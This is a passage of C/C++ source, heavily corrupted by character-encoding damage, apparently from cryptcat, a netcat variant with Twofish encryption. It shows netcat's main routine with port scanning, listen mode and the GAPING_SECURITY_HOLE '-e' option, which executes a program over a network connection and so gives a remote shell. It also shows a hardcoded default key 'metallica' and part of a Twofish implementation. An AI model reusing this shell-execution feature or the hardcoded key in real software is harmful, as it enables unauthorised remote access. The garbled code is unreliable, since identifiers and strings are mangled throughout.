+,
+zp
+,„r);
+
+1337 ià(
+ > 0) {
+
+1338 ià(
+o_wfže
+)
+
+1339
+ `Ýršt
+ (0,
+zp
+,
+);
+
+1340
+zp
+ +ð
+;
+
+1341
+rzËá
+ -ð
+;
+
+1342
+wrÙe_Ãt
+ +ð
+;
+
+1344
+ `Debug
+ (("wrِ%dØÃt,ƒ¼nØ%d",
+,
+Ӽo
+))
+
+1346 ià(
+o_š‹rv®
+) {
+
+1347
+ `¦“p
+ (
+o_š‹rv®
+);
+
+1348
+Ӽo
+ = 0;
+
+1351 ià((
+rzËá
+è|| (
+ºËá
+)) {
+
+1352
+w»Œy
+--;
+
+1353 
+shov–
+;
+
+1362
+ `þo£
+ (
+fd
+);
+
+1364
+ }
+}
+
+1368
+ $maš
+ (
+¬gc
+,
+¬gv
+)
+
+1369 
+¬gc
+;
+
+1370 **
+¬gv
+;
+
+1372 #iâdeà
+HAVE_GETOPT
+
+
+1373
*
+ݏrg
+;
+
+1374

+Ýtšd
+,
+ÝtÝt
+;
+
+1376 
+x
+;
+
+1377 *
+;
+
+1378
+HINF
+ *
+gp
+;
+
+1379
+HINF
+ *
+wh”‘o
+ =
+NULL
+;
+
+1380
+HINF
+ *
+wh”eäom
+ =
+NULL
+;
+
+1381
+IA
+ *
+ou¿ddr
+ =
+NULL
+;
+
+1382
+IA
+ *
+themaddr
+ =
+NULL
+;
+
+1383
+USHORT
+
+o_ÍÜt
+ = 0;
+
+1384
+USHORT
+
+ou½Üt
+ = 0;
+
+1385
+USHORT
+
+lÝÜt
+ = 0;
+
+1386
+USHORT
+
+hÜt
+ = 0;
+
+1387
+USHORT
+
+cu½Üt
+ = 0;
+
+1388 *
+¿ndpÜts
+ =
+NULL
+;
+
+1389 *
+üy±_key_f9
+ = "metallica";
+
+1390 
+key¡r
+[32];
+
+1397 #ifdeà
+HAVE_BIND
+
+
+1399
+ `»s_š™
+();
+
+1403
+lþ’d
+ = (
+SAI
+ *è
+ `Hm®loc
+ ( (
+SA
+));
+
+1404
+»m’d
+ = (
+SAI
+ *è
+ `Hm®loc
+ ( (
+SA
+));
+
+1405
+bigbuf_š
+ =
+ `Hm®loc
+ (
+BIGSIZ
+);
+
+1406
+bigbuf_Ãt
+ =
+ `Hm®loc
+ (
+BIGSIZ
+);
+
+1407
+dšg1
+ = (
+fd_£t
+ *è
+ `Hm®loc
+ ( (fd_set));
+
+1408
+dšg2
+ = (
+fd_£t
+ *è
+ `Hm®loc
+ ( (fd_set));
+
+1409
+p܍oÝ
+ = (
+PINF
+ *è
+ `Hm®loc
+ ( (PINF));
+
+1411
+Ӽo
+ = 0;
+
+1412
+g©e¥Œ
+ = 4;
+
+1413
+h_Ӽo
+ = 0;
+
+1416
+ `sigÇl
+ (
+SIGINT
+,
+ÿtch
+);
+
+1417
+ `sigÇl
+ (
+SIGQUIT
+,
+ÿtch
+);
+
+1418
+ `sigÇl
+ (
+SIGTERM
+,
+ÿtch
+);
+
+1420 #ifdeà
+SIGURG
+
+
+1421
+ `sigÇl
+ (
+SIGURG
+,
+SIG_IGN
+);
+
+1423 #ifdeà
+SIGPIPE
+
+
+1424
+ `sigÇl
+ (
+SIGPIPE
+,
+SIG_IGN
+);
+
+1429 ià(
+¬gc
+ == 1) {
+
+1430
+ =
+¬gv
+[0];
+
+1431
+¬gv
+ = (**è
+ `Hm®loc
+ (128 *  (*));
+
+1432
+¬gv
+[0] =
+;
+
+1433
+ =
+ `Hm®loc
+ (
+BIGSIZ
+);
+
+1434
+¬gv
+[1] =
+;
+
+1435 ià(
+ `çrm9üy±_š™Ÿlized
+() == 0) {
+
+1436
+ `çrm9üy±_š™
+(
+üy±_key_f9
+);
+
+1438
+ `årštf
+ (
+¡d”r
+, "Cmd†ine: ");
+
+1439
+ `fæush
+ (
+¡d”r
+);
+
+1440
+š§ved
+ =
+ `»ad
+ (0,
+,
+BIGSIZ
+);
+
+1441 ià(
+š§ved
+ <= 0)
+
+1442
+ `baž
+ ("wrong");
+
+1443
+x
+ =
+ `fšdlše
+ (
+,
+š§ved
+);
+
+1444 ià(
+x
+)
+
+1445
+š§ved
+ -ð
+x
+;
+
+1446 ià(
+š§ved
+)
+
+1447
+ `memýy
+ (
+bigbuf_š
+, &
+[
+x
+],
+š§ved
+);
+
+1448
+ =
+ `¡rchr
+ (
+¬gv
+[1], '\n');
+
+1449 ià(
+)
+
+1450 *
+ = '\0';
+
+1451
+ =
+ `¡rchr
+ (
+¬gv
+[1], '\r');
+
+1452 ià(
+)
+
+1453 *
+ = '\0';
+
+1456
+ =
+¬gv
+[1];
+
+1457
+++;
+
+1458
+x
+ = 2;
+
+1459 ; *
+ != '\0'; cp++) {
+
+1460 ià(*
+ == ' ') {
+
+1461 *
+ = '\0';
+
+1464 ià(*(
+-1) == '\0') {
+
+1465
+¬gv
+[
+x
+] =
+;
+
+1466
+x
+++;
+
+1470
+¬gc
+ =
+x
+;
+
+1475 (
+x
+ =
+ `g‘Ýt
+ (
+¬gc
+,
+¬gv
+, "«:g:G:hi:k:Êo:p:rs:tuvw:z")è!ð
+EOF
+) {
+
+1477 
+x
+) {
+
+1479
+ `baž
+ ("all-A-records NIY");
+
+1480
+o_®Ï
+++; ;
+
+1481 #ifdeà
+GAPING_SECURITY_HOLE
+
+
+1483
+´00g›
+ =
+ݏrg
+;
+
+1484
+ `Debug
+(Ð" . GAPING_SECURITY_HOLE fÏg s‘. Execu‹ %s",
+´00g›
+ ));
+
+1488
+ `çrm9üy±_š™
+(
+ `memýy
+(
+key¡r
+,
+ݏrg
+,
+MAXKEYSIZE
+));
+
+1491
+x
+ =
+ `©oi
+ (
+ݏrg
+);
+
+1492 ià((
+x
+) && (x == (x & 0x1c)))
+
+1493
+g©e¥Œ
+ =
+x
+;
+
+1495
+ `baž
+ ("šv®id h݅oš‹¸%d, mu¡ bmuÉË oà4 <ð28",
+x
+);
+
+1498 ià(
+g©esidx
+ > 8)
+
+1499
+ `baž
+ ("too many -g hops");
+
+1500 ià(
+g©es
+ =ð
+NULL
+)
+
+1501
+g©es
+ = (
+HINF
+ **è
+ `Hm®loc
+ ( (HINF *) * 10);
+
+1502
+gp
+ =
+ `g‘ho¡poÝ
+ (
+ݏrg
+,
+o_næag
+);
+
+1503 ià(
+gp
+)
+
+1504
+g©es
+[
+g©esidx
+] =
+gp
+;
+
+1505
+g©esidx
+++;
+
+1508
+Ӽo
+ = 0;
+
+1509 #ifdeà
+HAVE_HELP
+
+
+1510
+ `h–pme
+();
+
+1512
+ `baž
+ ("no help‡vailable, dork -- RTFS");
+
+1515
+o_š‹rv®
+ =
+ `©oi
+ (
+ݏrg
+) & 0xffff;
+
+1516 ià(!
+o_š‹rv®
+)
+
+1517
+ `baž
+ ("šv®id iÁ”v®im%s",
+ݏrg
+);
+
+1520
+o_li¡’
+++; ;
+
+1522
+o_næag
+++; ;
+
+1524
+¡age
+ = (*è
+ݏrg
+;
+
+1525
+o_wfže
+++; ;
+
+1527
+o_ÍÜt
+ =
+ `g‘p܍oÝ
+ (
+ݏrg
+, 0);
+
+1528 ià(
+o_ÍÜt
+ == 0)
+
+1529
+ `baž
+ ("šv®id†oÿÈp܈%s",
+ݏrg
+);
+
+1532
+o_¿ndom
+++; ;
+
+1537
+wh”eäom
+ =
+ `g‘ho¡poÝ
+ (
+ݏrg
+,
+o_næag
+);
+
+1538
+ou¿ddr
+ = &
+wh”eäom
+->
+Ÿddrs
+[0];
+
+1540 #ifdeà
+TELNET
+
+
+1542
+o_Š
+++; ;
+
+1545
+o_udpmode
+++; ;
+
+1547
+o_v”bo£
+++; ;
+
+1549
+o_wa™
+ =
+ `©oi
+ (
+ݏrg
+);
+
+1550 ià(
+o_wa™
+ <= 0)
+
+1551
+ `baž
+ ("šv®id wa™-tim%s",
+ݏrg
+);
+
+1552
+tim”1
+ = (
+timev®
+ *è
+ `Hm®loc
+ ( (timeval));
+
+1553
+tim”2
+ = (
+timev®
+ *è
+ `Hm®loc
+ ( (timeval));
+
+1554
+tim”1
+->
+tv_£c
+ =
+o_wa™
+;
+
+1557
+o_z”o
+++;
+
+1560
+Ӽo
+ = 0;
+
+1561
+ `baž
+ ("nc -h for help");
+
+1566 ià(
+ `çrm9üy±_š™Ÿlized
+() == 0) {
+
+1567
+ `çrm9üy±_š™
+(
+üy±_key_f9
+);
+
+1570
+ `Debug
+ (("fd_£ˆsiz%d",  (*
+dšg1
+)))
+
+1571
+ `FD_SET
+ (0,
+dšg1
+);
+
+1572 ià(
+o_¿ndom
+) {
+
+1573
+ `SRAND
+ (
+ `time
+ (0));
+
+1574
+¿ndpÜts
+ =
+ `Hm®loc
+ (65536);
+
+1576 #ifdeà
+GAPING_SECURITY_HOLE
+
+
+1577 ià(
+´00g›
+) {
+
+1579
+o_wfže
+ = 0;
+
+1580
+ofd
+ = 0;
+
+1583 ià(
+o_wfže
+) {
+
+1584
+ofd
+ =
+ `ݒ
+ (
+¡age
+,
+O_WRONLY
+ |
+O_CREAT
+ |
+O_TRUNC
+, 0664);
+
+1585 ià(
+ofd
+ <= 0)
+
+1586
+ `baž
+ ("ÿn'ˆÝ’ %s",
+¡age
+);
+
+1587
+¡age
+ = (*è
+ `Hm®loc
+ (100);
+
+1592
+ `Debug
+ (("aᔠgo: x‚ow %i, o±¬g %x o±šd %d",
+x
+,
+ݏrg
+,
+Ýtšd
+))
+
+1598 ià(
+¬gv
+[
+Ýtšd
+])
+
+1599
+wh”‘o
+ =
+ `g‘ho¡poÝ
+ (
+¬gv
+[
+Ýtšd
+],
+o_næag
+);
+
+1600 ià(
+wh”‘o
+ && wh”‘o->
+Ÿddrs
+)
+
+1601
+themaddr
+ = &
+wh”‘o
+->
+Ÿddrs
+[0];
+
+1602 ià(
+themaddr
+)
+
+1603
+Ýtšd
+++;
+
+1604
+Ӽo
+ = 0;
+
+1605
+h_Ӽo
+ = 0;
+
+1611 ià(
+o_li¡’
+) {
+
+1612
+cu½Üt
+ = 0;
+
+1613 ià(
+¬gv
+[
+Ýtšd
+]) {
+
+1614
+cu½Üt
+ =
+ `g‘p܍oÝ
+ (
+¬gv
+[
+Ýtšd
+], 0);
+
+1615 ià(
+cu½Üt
+ == 0)
+
+1616
+ `baž
+ ("šv®id…܈%s",
+¬gv
+[
+Ýtšd
+]);
+
+1618
+Ãtfd
+ =
+ `dÞi¡’
+ (
+themaddr
+,
+cu½Üt
+,
+ou¿ddr
+,
+o_ÍÜt
+);
+
+1620 ià(
+Ãtfd
+ > 0) {
+
+1621 #ifdeà
+GAPING_SECURITY_HOLE
+
+
+1622 ià(
+´00g›
+)
+
+1624
+ `Debug
+(Ð" . GAPING_SECURITY_HOLE: Executšg '%s'",
+´00g›
+ ))
+
+1625
+ `Debug
+(( " . Executing doexec()" ))
+
+1626
+ `dÛxec
+ (
+Ãtfd
+);
+
+1627
+ `Debug
+(( " . Returning from doexec()" ))
+
+1630
+x
+ =
+ `»adwr™e
+ (
+Ãtfd
+);
+
+1631 ià(
+o_v”bo£
+ > 1)
+
+1632
+ `hÞËr
+ (
+wrÙe_txt
+,
+wrÙe_Ãt
+,
+wrÙe_out
+);
+
+1633
+ `ex™
+ (
+x
+);
+
+1635
+ `baž
+ ("no connection");
+
+1639 ià(!
+themaddr
+)
+
+1640
+ `baž
+ ("no destination");
+
+1641 ià(
+¬gv
+[
+Ýtšd
+] =ð
+NULL
+)
+
+1642
+ `baž
+ ("no…ort[s]o connecto");
+
+1643 ià(
+¬gv
+[
+Ýtšd
+ + 1])
+
+1644
+SšgË
+ = 0;
+
+1645
+ou½Üt
+ =
+o_ÍÜt
+;
+
+1651 
+¬gv
+[
+Ýtšd
+]) {
+
+1652
+hÜt
+ =
+lÝÜt
+ = 0;
+
+1653
+ =
+ `¡rchr
+ (
+¬gv
+[
+Ýtšd
+], '-');
+
+1654 ià(
+) {
+
+1655 *
+ = '\0';
+
+1656
+++;
+
+1657
+hÜt
+ =
+ `g‘p܍oÝ
+ (
+, 0);
+
+1658 ià(
+hÜt
+ == 0)
+
+1659
+ `baž
+ ("šv®id…܈%s",
+);
+
+1661
+lÝÜt
+ =
+ `g‘p܍oÝ
+ (
+¬gv
+[
+Ýtšd
+], 0);
+
+1662 ià(
+lÝÜt
+ == 0)
+
+1663
+ `baž
+ ("šv®id…܈%s",
+¬gv
+[
+Ýtšd
+]);
+
+1664 ià(
+hÜt
+ >
+lÝÜt
+) {
+
+1665
+SšgË
+ = 0;
+
+1666
+cu½Üt
+ =
+hÜt
+;
+
+1667 ià(
+o_¿ndom
+) {
+
+1668
+ `lßdpÜts
+ (
+¿ndpÜts
+,
+lÝÜt
+,
+hÜt
+);
+
+1669
+cu½Üt
+ =
+ `ÃxÜt
+ (
+¿ndpÜts
+);
+
+1672
+cu½Üt
+ =
+lÝÜt
+;
+
+1673
+ `Debug
+ (("SšgË %d, cu½Üˆ%d",
+SšgË
+,
+cu½Üt
+))
+
+1676 
+lÝÜt
+ <ð
+cu½Üt
+) {
+
+1677 ià((!
+o_ÍÜt
+è&& (
+o_¿ndom
+)) {
+
+1678
+ou½Üt
+ = (
+ `RAND
+() & 0xffff);
+
+1679 ià(
+ou½Üt
+ < 8192)
+
+1680
+ou½Üt
+ += 8192;
+
+1682
+cu½Üt
+ =
+ `g‘p܍oÝ
+ (
+NULL
+, curport);
+
+1683
+Ãtfd
+ =
+ `docÚÃù
+ (
+themaddr
+,
+cu½Üt
+,
+ou¿ddr
+,
+ou½Üt
+);
+
+1684
+ `Debug
+ (("Ãtfd %d from…܈%dØp܈%d",
+Ãtfd
+,
+ou½Üt
+,
+cu½Üt
+))
+
+1685 ià(
+Ãtfd
+ > 0)
+
+1686 ià(
+o_z”o
+ &&
+o_udpmode
+)
+
+1687
+Ãtfd
+ =
+ `ud±e¡
+ (Ãtfd,
+themaddr
+);
+
+1688 ià(
+Ãtfd
+ > 0) {
+
+1689
+x
+ = 0;
+
+1690
+ `hÞËr
+ ("%s [%s] %d (%s) open",
+
+1691
+wh”‘o
+->
+Çme
+, wh”‘o->
+addrs
+[0],
+cu½Üt
+,
+p܍oÝ
+->name);
+
+1692 #ifdeà
+GAPING_SECURITY_HOLE
+
+
+1693 ià(
+´00g›
+)
+
+1694
+ `dÛxec
+ (
+Ãtfd
+);
+
+1696 ià(!
+o_z”o
+)
+
+1697
+x
+ =
+ `»adwr™e
+ (
+Ãtfd
+);
+
+1699
+x
+ = 1;
+
+1702 ià((
+SšgË
+ || (
+o_v”bo£
+ > 1)è|| (
+Ӽo
+ !ð
+ECONNREFUSED
+))
+
+1703
+ `hÞËr
+ ("%s [%s] %d (%s)",
+
+1704
+wh”‘o
+->
+Çme
+, wh”‘o->
+addrs
+[0],
+cu½Üt
+,
+p܍oÝ
+->name);
+
+1706
+ `þo£
+ (
+Ãtfd
+);
+
+1707 ià(
+o_š‹rv®
+)
+
+1708
+ `¦“p
+ (
+o_š‹rv®
+);
+
+1709 ià(
+o_¿ndom
+)
+
+1710
+cu½Üt
+ =
+ `ÃxÜt
+ (
+¿ndpÜts
+);
+
+1712
+cu½Üt
+--;
+
+1714
+Ýtšd
+++;
+
+1717
+Ӽo
+ = 0;
+
+1718 ià(
+o_v”bo£
+ > 1)
+
+1719
+ `hÞËr
+ (
+wrÙe_txt
+,
+wrÙe_Ãt
+,
+wrÙe_out
+);
+
+1720 ià(
+SšgË
+)
+
+1721
+ `ex™
+ (
+x
+);
+
+1722
+ `ex™
+ (0);
+
+1723
+ }
+}
+
+1725 #ifdeà
+HAVE_HELP
+
+
+1728
+ $h–pme
+()
+
+1730
+o_v”bo£
+ = 1;
+
+1731
+ `hÞËr
+ ("[v1.10]\n\
+o somewhere:‚c [-options] hostname…ort[s] [ports] ... \n\
+ for inbound:‚c -l -p…ort [-options] [hostname] [port]\n\
+:");
+
+1738 #ifdeà
+GAPING_SECURITY_HOLE
+
+
+1739
+ `hÞËr
+ ("\
+-e…rog…rogramoƒxec‡fter connect [dangerous!!]");
+
+1742
+ `hÞËr
+ ("\
+-g gateway source-routing hop…oint[s], upo 8\n\
+-G‚um source-routing…ointer: 4, 8, 12, ...\n\
+-hhis cruft\n\
+-k secret sethe shared secret\n\
+-i secs delay interval for†ines sent,…orts scanned\n\
+-l†isten mode, for inbound connects\n\
+-n‚umeric-only IP‡ddresses,‚o DNS\n\
+-o file hex dump ofraffic\n\
+-p…ort†ocal…ort‚umber\n\
+-r„andomize†ocal‡nd„emote…orts\n\
+-s‡ddr†ocal source‡ddress");
+
+1754 #ifdeà
+TELNET
+
+
+1755
+ `hÞËr
+ ("\
+-t‡nswer TELNET‚egotiation");
+
+1758
+ `hÞËr
+ ("\
+-u UDP mode\n\
+-v verbose [usewiceo be more verbose]\n\
+-w secsimeout for connects‡nd final‚et„eads\n\
+-z zero-I/O mode [used for scanning]");
+
+1763
+ `baž
+ ("port‚umbers can be individual or„anges:†o-hi [inclusive]");
+
+1764
+ }
+}
+
+ @twofish2.cc
+
+1 
+ ~<¡ršg.h
+>
+
+2 
+ ~<uni¡d.h
+>
+
+5 
+ ~<sys/·¿m.h
+>
+
+7 
+ tBYTE
+;
+
+8 
+ tDWORD
+;
+
+21 
+ gP
+[2][256] =
+
+158 
+ gMDS
+[4][256];
+
+160 
+ ~"twofish2.h
+"
+
+166 
+ #LFSR1
+(
+x
+èÐ((xè>> 1è^ (((xè& 0x01è?
+MDS_GF_FDBK
+/2 : 0))
+
+ )
+
+167 
+ #LFSR2
+(
+x
+èÐ((xè>> 2è^ (((xè& 0x02è?
+MDS_GF_FDBK
+/2 : 0è^ (((xè& 0x01è? MDS_GF_FDBK/4 : 0))
+
+ )
+
+169 
+ #Mx_1
+(
+x
+è((
+DWORD
+è(x)è
+
+ )
+
+170 
+ #Mx_X
+(
+x
+è((
+DWORD
+è((xè^
+ `LFSR2
+(x))è
+
+ )
+
+171 
+ #Mx_Y
+(
+x
+è((
+DWORD
+è((xè^
+ `LFSR1
+(xè^
+ `LFSR2
+(x))è
+
+ )
+
+172 
+ #RS_»m
+(
+x
+è{
+BYTE
+
+b
+ = (BYTEè(x >> 24);
+DWORD
+
+g2
+ = ((b << 1è^ ((b & 0x80è?
+RS_GF_FDBK
+ : 0 )è& 0xFF; DWORD
+g3
+ = ((b >> 1è& 0x7Fè^ ((b & 1è? RS_GF_FDBK >> 1 : 0 ) ^ g2 ; x = (x << 8è^ (g3 << 24è^ (g2 << 16è^ (g3 << 8è^ b; }
+
+ )
+
+174 
+ #_b
+(
+x
+,
+N
+è(((
+BYTE
+ *)&x)[((Nè& 3)]è
+
+ )
+
+179 #ià
+defšed
+(
+__BYTE_ORDER
+)
+
+180 
+ #BYTE_ORDER
+
+__BYTE_ORDER
+
+
+ )
+
+181 
+ #BIG_ENDIAN
+
+__BIG_ENDIAN
+
+
+ )
+
+182 
+ #LITTLE_ENDIAN
+
+__LITTLE_ENDIAN
+
+
+ )
+
+183 #–ià!
+defšed
+(
+BYTE_ORDER
+)
+
+187 #ifdeà
+BYTE_ORDER
+
+
+188 #ià
+BYTE_ORDER
+ =ð
+BIG_ENDIAN
+
+
+189 
+ #b0
+(
+x
+ `_b
+(x,3è
+
+ )
+
+190 
+ #b1
+(
+x
+ `_b
+(x,2)
+
+ )
+
+191 
+ #b2
+(
+x
+ `_b
+(x,1)
+
+ )
+
+192 
+ #b3
+(
+x
+ `_b
+(x,0è
+
+ )
+
+193 #–ià
+BYTE_ORDER
+ =ð
+LITTLE_ENDIAN
+
+
+194 
+ #b0
+(
+x
+ `_b
+(x,0è
+
+ )
+
+195 
+ #b1
+(
+x
+ `_b
+(x,1)
+
+ )
+
+196 
+ #b2
+(
+x
+ `_b
+(x,2)
+
+ )
+
+197 
+ #b3
+(
+x
+ `_b
+(x,3è
+
+ )
+
+205 
+ gTwoFish
+::
+ $´ecompu‹MDSm©rix
+() {
+
+207 
+m1
+[2];
+
+208 
+mX
+[2];
+
+209 
+mY
+[2];
+
+210 
+i
+,
+j
+;
+
+211 
+i
+ = 0; i < 256; i++) {
+
+212
+j
+ =
+P
+[0][
+i
+] & 0xFF;
+
+213
+m1
+[0] =
+j
+;
+
+214
+mX
+[0] =
+ `Mx_X
+j
+ ) & 0xFF;
+
+215
+mY
+[0] =
+ `Mx_Y
+j
+ ) & 0xFF;
+
+217
+j
+ =
+P
+[1][
+i
+] & 0xFF;
+
+218
+m1
+[1] =
+j
+;
+
+219
+mX
+[1] =
+ `Mx_X
+j
+ ) & 0xFF;
+
+220
+mY
+[1] =
+ `Mx_Y
+j
+ ) & 0xFF;
+
+222
+MDS
+[0][
+i
+] =
+m1
+[
+P_00
+] << 0 |
+
+223
+mX
+[
+P_00
+] << 8 |
+
+224
+mY
+[
+P_00
+] << 16 |
+
+225
+mY
+[
+P_00
+] << 24;
+
+226
+MDS
+[1][
+i
+] =
+mY
+[
+P_10
+] << 0 |
+
+227
+mY
+[
+P_10
+] << 8 |
+
+228
+mX
+[
+P_10
+] << 16 |
+
+229
+m1
+[
+P_10
+] << 24;
+
+230
+MDS
+[2][
+i
+] =
+mX
+[
+P_20
+] << 0 |
+
+231
+mY
+[
+P_20
+] << 8 |
+
+232
+m1
+[
+P_20
+] << 16 |
+
+233
+mY
+[
+P_20
+] << 24;
+
+234
+MDS
+[3][
+i
+] =
+mX
+[
+P_30
+] << 0 |
+
+235
+m1
+[
+P_30
+] << 8 |
+
+236
+mY
+[
+P_30
+] << 16 |
+
+237
+mX
+[
+P_30
+] << 24;
+
+239
+ }
+}
+
+244
+ gTwoFish
+::
+ $TwoFish
+(*
+u£rkey
+,
+boÞ
+
+_deüy±
+,
+FILE
+*
+_åout
+, *
+_ouutBufãr
+ ) {
+
+245
+deüy±
+ =
+_deüy±
+;
+
+246
+åout
+ =
+_åout
+;
+
+247 iàÐ
+åout
+ =ð
+NULL
+ ) {
+
+248
+ouutIsFže
+ =
+çl£
+;
+
+250
+ouutIsFže
+ =
+Œue
+;
+
+252
+ouutBufãr
+ =
+_ouutBufãr
+;
+
+253 iàÐ
+ouutBufãr
+ =ð
+NULL
+ ) {
+
+254
+ouutIsBufãr
+ =
+çl£
+;
+
+256
+ouutIsBufãr
+ =
+Œue
+;
+
+258
+ `´ecompu‹MDSm©rix
+();
+
+259
+ `makeSubKeys
+(
+u£rkey
+);
+
+260
+qBlockDefšed
+ =
+çl£
+;
+
+261
+ }
+}
+
+275 
+ gTwoFish
+::
+ $makeSubKeys
+Ð*
+k
+ ) {
+
+276 
+Ëngth
+ = 32;
+
+277 
+k64CÁ
+ =
+Ëngth
+ / 8;
+
+278 
+k32e
+[4];
+
+279 
+k32o
+[4];
+
+280 
+sBoxKey
+[4];
+
+284 
+i
+,
+j
+,
+off£t
+ = 0;
+
+285 
+i
+ = 0,
+j
+ =
+k64CÁ
+-1; i < 4 &&
+off£t
+ <
+Ëngth
+; i++, j--) {
+
+286
+k32e
+[
+i
+] = (
+k
+[
+off£t
+] & 0xFF) |
+
+287 (
+k
+[
+off£t
++1] & 0xFF) << 8 |
+
+288 (
+k
+[
+off£t
++2] & 0xFF) << 16 |
+
+289 (
+k
+[
+off£t
++3] & 0xFF) << 24;
+
+290
+off£t
+ += 4;
+
+291
+k32o
+[
+i
+] = (
+k
+[
+off£t
+] & 0xFF) |
+
+292 (
+k
+[
+off£t
++1] & 0xFF) << 8 |
+
+293 (
+k
+[
+off£t
++2] & 0xFF) << 16 |
+
+294 (
+k
+[
+off£t
++3] & 0xFF) << 24;
+
+295
+off£t
+ += 4;
+
+296
+sBoxKey
+[
+j
+] =
+ `RS_MDS_Encode
+k32e
+[
+i
+],
+k32o
+[i] );
+
+301 
+A
+,
+B
+,
+q
+=0;
+
+302
+i
+=0;
+
+303 
+i
+ <
+TOTAL_SUBKEYS
+) {
+
+304
+A
+ =
+ `F32
+k64CÁ
+,
+q
+,
+k32e
+ );
+
+305
+q
+ +ð
+SK_BUMP
+;
+
+307
+B
+ =
+ `F32
+k64CÁ
+,
+q
+,
+k32o
+ );
+
+308
+q
+ +ð
+SK_BUMP
+;
+
+310
+B
+ = B << 8 | B >> 24;
+
+312
+A
+ +ð
+B
+;
+
+313
+subKeys
+[
+i
+++] =
+A
+;
+
+315
+A
+ +ð
+B
+;
+
+316
+subKeys
+[
+i
+++] =
+A
+ <<
+SK_ROTL
+ | A >> (32-SK_ROTL);
+
+320 
+k0
+ =
+sBoxKey
+[0];
+
+321 
+k1
+ =
+sBoxKey
+[1];
+
+322 
+k2
+ =
+sBoxKey
+[2];
+
+323 
+k3
+ =
+sBoxKey
+[3];
+
+324 
+b0
+,
+b1
+,
+b2
+,
+b3
+;
+
+325 
+i
+ = 0; i < 256; i++) {
+
+326
+b0
+ =
+b1
+ =
+b2
+ =
+b3
+ =
+i
+;
+
+327 
+k64CÁ
+ & 3) {
+
+329
+sBox
+[ 2*
+i
+ ] =
+MDS
+[0][(
+P
+[
+P_01
+][
+b0
+] & 0xFFè^
+ `b0
+(
+k0
+)];
+
+330
+sBox
+[ 2*
+i
++1] =
+MDS
+[1][(
+P
+[
+P_11
+][
+b1
+] & 0xFFè^
+ `b1
+(
+k0
+)];
+
+331
+sBox
+[0x200+2*
+i
+ ] =
+MDS
+[2][(
+P
+[
+P_21
+][
+b2
+] & 0xFFè^
+ `b2
+(
+k0
+)];
+
+332
+sBox
+[0x200+2*
+i
++1] =
+MDS
+[3][(
+P
+[
+P_31
+][
+b3
+] & 0xFFè^
+ `b3
+(
+k0
+)];
+
+335
+b0
+ = (
+P
+[
+P_04
+][b0] & 0xFFè^
+ `b0
+(
+k3
+);
+
+336
+b1
+ = (
+P
+[
+P_14
+][b1] & 0xFFè^
+ `b1
+(
+k3
+);
+
+337
+b2
+ = (
+P
+[
+P_24
+][b2] & 0xFFè^
+ `b2
+(
+k3
+);
+
+338
+b3
+ = (
+P
+[
+P_34
+][b3] & 0xFFè^
+ `b3
+(
+k3
+);
+
+340
+b0
+ = (
+P
+[
+P_03
+][b0] & 0xFFè^
+ `b0
+(
+k2
+);
+
+341
+b1
+ = (
+P
+[
+P_13
+][b1] & 0xFFè^
+ `b1
+(
+k2
+);
+
+342
+b2
+ = (
+P
+[
+P_23
+][b2] & 0xFFè^
+ `b2
+(
+k2
+);
+
+343
+b3
+ = (
+P
+[
+P_33
+][b3] & 0xFFè^
+ `b3
+(
+k2
+);
+
+345
+sBox
+[ 2*
+i
+ ] =
+MDS
+[0][
+
+346 (
+P
+[
+P_01
+][(P[
+P_02
+][
+b0
+] & 0xFFè^
+ `b0
+(
+k1
+)] & 0xFFè^ b0(
+k0
+)];
+
+348
+sBox
+[ 2*
+i
++1] =
+MDS
+[1][
+
+349 (
+P
+[
+P_11
+][(P[
+P_12
+][
+b1
+] & 0xFFè^
+ `b1
+(
+k1
+)] & 0xFFè^ b1(
+k0
+)];
+
+351
+sBox
+[0x200+2*
+i
+ ] =
+MDS
+[2][
+
+352 (
+P
+[
+P_21
+][(P[
+P_22
+][
+b2
+] & 0xFFè^
+ `b2
+(
+k1
+)] & 0xFFè^ b2(
+k0
+)];
+
+354
+sBox
+[0x200+2*
+i
++1] =
+MDS
+[3][
+
+355 (
+P
+[
+P_31
+][(P[
+P_32
+][
+b3
+] & 0xFFè^
+ `b3
+(
+k1
+)] & 0xFFè^ b3(
+k0
+)];
+
+360 if(
+deüy±
+) {
+
+361 
+i
+=0; i<4; i++) {
+
+362 
+t
+ =
+subKeys
+[
+i
+];
+
+363
+subKeys
+[
+i
+] = subKeys[i+4];
+
+364
+subKeys
+[
+i
++4] =
+t
+;
+
+367
+ }
+}
+
+370 
+ $bz”o
+Ð*
+±r
+, 
+size
+ ) {
+
+371  
+i
+ = 0; i <
+size
+; i++ ) {
+
+372 *
+±r
+++ = 0;
+
+374
+ }
+}
+
+379 
+ gTwoFish
+::
+ $æushOuut
+Ð*
+b
+, 
+Ën
+ ) {
+
+380 iàÐ
+ouutIsSock‘
+ ) {
+
+381 
+w»t
+ =
+ `wr™e
+sockfd
+,
+b
+,
+Ën
+ );
+
+383  
+i
+ = 0; i <
+Ën
+; i++,
+b
+++ ) {
+
+384 iàÐ
+ouutIsFže
+ ) {
+
+385
+ `åutc
+Ð*
+b
+,
+åout
+ );
+
+387 iàÐ
+ouutIsBufãr
+ ) {
+
+388 *
+ouutBufãr
+ = *
+b
+;
+
+389
+ouutBufãr
+++;
+
+392
+ }
+}
+
+413 
+ gTwoFish
+::
+ $blockCry±
+Ð*
+, *
+out
+, 
+size
+ ) {
+
+415 iàÐ
+size
+ == 16 ) {
+
+418 iàÐ!
+deüy±
+ &&
+qBlockDefšed
+ ) {
+
+419 *
+sÿ”
+ =
+;
+
+420  
+i
+ = 0; i < 16; i++,
+sÿ”
+++ ) {
+
+421 *
+sÿ”
+ = *sÿ” ^
+qBlockCry±
+[
+i
+];
+
+426
+ `blockCry±16
+,
+out
+ );
+
+430 iàÐ
+deüy±
+ &&
+qBlockDefšed
+ ) {
+
+431 *
+sÿ”
+ =
+out
+;
+
+432  
+i
+ = 0; i < 16; i++,
+sÿ”
+++ ) {
+
+433 *
+sÿ”
+ = *sÿ” ^
+qBlockPϚ
+[
+i
+];
+
+439
+ `qBlockPush
+,
+out
+ );
+
+445 
+PnMšusOÃ
+[16];
+
+446 
+CnMšusOÃ
+[16];
+
+447 iàÐ
+deüy±
+ ) {
+
+450
+ `qBlockPÝ
+Ð&
+CnMšusOÃ
+[0], &
+PnMšusOÃ
+[0] );
+
+453 
+CBC¶usC´ime
+[16];
+
+454
+ `blockCry±16
+Ð&
+CnMšusOÃ
+[0], &
+CBC¶usC´ime
+[0] );
+
+458 *
+sÿ”
+ =
+;
+
+459 *
+outSÿ”
+ =
+out
+;
+
+460  
+i
+ = 0; i <
+size
+; i++,
+sÿ”
+++,
+outSÿ”
